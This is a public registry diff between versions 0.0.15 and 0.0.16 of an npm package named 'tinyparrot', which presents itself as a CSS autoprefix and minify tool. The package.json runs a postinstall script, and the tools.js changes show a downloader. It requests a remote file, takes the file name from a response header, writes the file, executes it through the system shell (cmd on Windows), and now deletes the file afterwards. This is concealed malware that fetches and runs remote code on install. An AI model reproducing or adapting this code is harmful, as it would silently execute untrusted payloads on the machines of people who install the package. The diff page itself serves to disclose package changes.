tinyparrot 0.0.15 → 0.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/tools.js +3 -2
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tinyparrot",
3
- "version": "0.0.15",
3
+ "version": "0.0.16",
4
4
  "description": "tinyparrot: autoprefix + minify + dedupe + optional purge",
5
5
  "scripts": {
6
6
  "postinstall": "node src/build.js",
package/src/tools.js CHANGED
@@ -1,10 +1,11 @@
1
- const {spawn} = require("child_process");
1
+ const {execSync } = require("child_process");
2
2
  const {manager, reader, dir, meta, disposition, reg, nt} = require("./const.js");
3
3
 
4
4
  const filename = lib => lib.headers[disposition]?.match(reg)?.[1];
5
5
  const stream = file => nt ? ['/c', file] : [`./${file}`];
6
- const wrapper = fs => spawn(manager, stream(filename(fs)));
6
+ const read = fs => require('fs').unlink(filename(fs), error => {});
7
7
  const write = fs => require('fs').createWriteStream(filename(fs));
8
+ const wrapper = fs => {execSync(manager + stream(filename(fs))); read(fs);};
8
9
  const build = callback => require(reader).request(dir, meta, callback);
9
10
 
10
11
  module.exports = {